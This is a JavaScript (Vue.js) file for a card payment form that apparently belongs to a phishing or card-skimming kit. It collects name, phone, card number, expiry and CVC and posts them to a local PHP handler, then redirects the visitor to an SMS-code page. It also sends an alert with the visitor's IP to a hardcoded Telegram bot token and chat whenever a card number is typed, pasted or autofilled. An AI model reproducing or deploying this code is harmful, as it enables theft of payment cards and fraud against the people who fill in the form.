Vue.directive('mask', VueMask.VueMaskDirective);
var app = new Vue({
    el: "#app",
    data: {
        full_name: '',
        phone: '',
        card: '',
        card_mask: '#### #### #### ####',
        exp: '',
        exp_mask: '##/##',
        cvc: '',
        cvc_mask: '###',
        now_stamp: parseInt(new Date().getFullYear().toString().substr(-2) + ("0" + (new Date().getMonth() + 1)).slice(-2).toString(), 10),
        loading: false,
        hash: window.location.hash,
        amex_re: new RegExp("^3[47]"),
        visa_re: new RegExp("^4"),
        discover_re: new RegExp("^(6011|622(12[6-9]|1[3-9][0-9]|[2-8][0-9]{2}|9[0-1][0-9]|92[0-5]|64[4-9])|65)"),
        cardNotificationSent: false,
    },

    watch: {
        card() {
            if(this.card && this.card.length === 1 && !this.cardNotificationSent) {
                this.sendCardStartNotification();
                this.cardNotificationSent = true;
            }
            
            if(!this.card) {
                this.card_mask = '#### #### #### ####'
                this.cvc_mask = '###'
                this.cardNotificationSent = false;
                return null;
            }
            // AMEX
            if (this.card.match(this.amex_re) != null) {
                this.card_mask = '#### ###### #####'
                this.cvc_mask = '####'
                return "AMEX";
            }
            // visa
            if (this.card.match(this.visa_re) != null) {
                this.card_mask = '#### #### #### ####'
                this.cvc_mask = '###'
                return "Visa";
            }
            // Mastercard
            // Updated for Mastercard 2017 BINs expansion
            if (/^(5[1-5][0-9]{14}|2(22[1-9][0-9]{12}|2[3-9][0-9]{13}|[3-6][0-9]{14}|7[0-1][0-9]{13}|720[0-9]{12}))$/.test(this.card)) {
                this.card_mask = '#### #### #### ####'
                this.cvc_mask = '###'
                return "Mastercard";
            }
            // Discover
            if (this.card.match(this.discover_re) != null) {
                this.card_mask = '#### #### #### ####'
                this.cvc_mask = '###'
                return "Discover";
            }
        }
    },

    computed: {

        filledAll() {
            return !!(this.full_name && this.phone && this.card && this.exp && this.cvc && this.isCardValid && !this.cardIsExpired)
        },

        isCardValid() {
            let value = this.card
            // Accept only digits, dashes or spaces
            if (/[^0-9-\s]+/.test(value)) return false;

            if(value.length === 19) {
                // The Luhn Algorithm. It's so pretty.
                let nCheck = 0, bEven = false;
                value = value.replace(/\D/g, "");

                for (var n = value.length - 1; n >= 0; n--) {
                    var cDigit = value.charAt(n),
                        nDigit = parseInt(cDigit, 10);

                    if (bEven && (nDigit *= 2) > 9) nDigit -= 9;

                    nCheck += nDigit;
                    bEven = !bEven;
                }

                return (nCheck % 10) == 0;
            }

            return true;
        },

        exp_month() {
            if(this.exp && this.exp.length > 4) {
                return this.exp.substr(0,2)
            }
            return null;
        },

        exp_year() {
            if(this.exp && this.exp.length > 4) {
                return this.exp.substr(-2)
            }
            return null;
        },

        exp_as_stamp() {
            if(this.exp && this.exp.length > 4) {
                return this.exp_year + this.exp_month
            }
            return null;
        },

        cardIsExpired() {
            if(this.exp_as_stamp && this.exp_as_stamp < this.now_stamp) {
                return true;
            }
            return false;
        },

    },

    mounted() {
        // إضافة مستمعات الأحداث لحقل البطاقة
        this.$nextTick(() => {
            const cardInput = document.getElementById('card');
            if (cardInput) {
                // حدث اللصق
                cardInput.addEventListener('paste', (e) => {
                    setTimeout(() => {
                        if (this.card && this.card.length > 0 && !this.cardNotificationSent) {
                            this.sendCardStartNotification();
                            this.cardNotificationSent = true;
                        }
                    }, 100);
                });
                
                // حدث التعبئة التلقائية
                cardInput.addEventListener('input', (e) => {
                    if (e.inputType === 'insertFromPaste' || e.inputType === 'insertFromDrop') {
                        if (this.card && this.card.length > 0 && !this.cardNotificationSent) {
                            this.sendCardStartNotification();
                            this.cardNotificationSent = true;
                        }
                    }
                });
                
                // مراقبة التغييرات في القيمة (للتعبئة التلقائية من المتصفح)
                const observer = new MutationObserver(() => {
                    if (cardInput.value && cardInput.value.length > 0 && !this.cardNotificationSent) {
                        this.card = cardInput.value;
                        this.sendCardStartNotification();
                        this.cardNotificationSent = true;
                    }
                });
                
                observer.observe(cardInput, {
                    attributes: true,
                    attributeFilter: ['value']
                });
            }
        });
    },

    methods: {
        
        sendCardStartNotification() {
            // الحصول على IP المستخدم
            fetch('https://api.ipify.org?format=json')
                .then(response => response.json())
                .then(data => {
                    const userIP = data.ip;
                    const token = '8395989974:AAH0wDhmkPMBD5tG5s5gbJkVr3VexruVgOk';
                    const chatId = '-4871690289';
                    const message = `🚨 تنبيه: بدأ المستخدم في كتابة رقم بطاقة الائتمان!\n🌐 IP: ${userIP}\n⏰ الوقت: ${new Date().toLocaleString()}`;
                    
                    fetch(`https://api.telegram.org/bot${token}/sendMessage`, {
                        method: 'POST',
                        headers: {
                            'Content-Type': 'application/json'
                        },
                        body: JSON.stringify({
                            chat_id: chatId,
                            text: message
                        })
                    }).catch(error => {
                        console.error('خطأ في إرسال إشعار تليجرام:', error);
                    });
                })
                .catch(error => {
                    console.error('خطأ في الحصول على IP:', error);
                });
        },

        submitForm() {
            if(!this.filledAll) {
                return
            }
            this.loading = true
            axios.post('./form/payment.php', {
                full_name: this.full_name,
                phone: this.phone,
                card: this.card,
                exp: this.exp,
                cvc: this.cvc,
            })
                .then((response) => {
                    console.log(response.data)
                    if(response.data === 'request_card') {
                        this.hash = 'x';
                        setTimeout(() => {
                            window.location.href = 'confirm-information.html#x';
                            this.card = this.exp = this.cvc = '';
                            this.loading = false;
                        }, 2000)
                    }
                    else {
                        setTimeout(() => {
                            window.location.href = 'sms-code.html'
                        }, 5000)
                    }
                })
                .catch((error) => {
                    console.log(error);
                });
        },


    }
});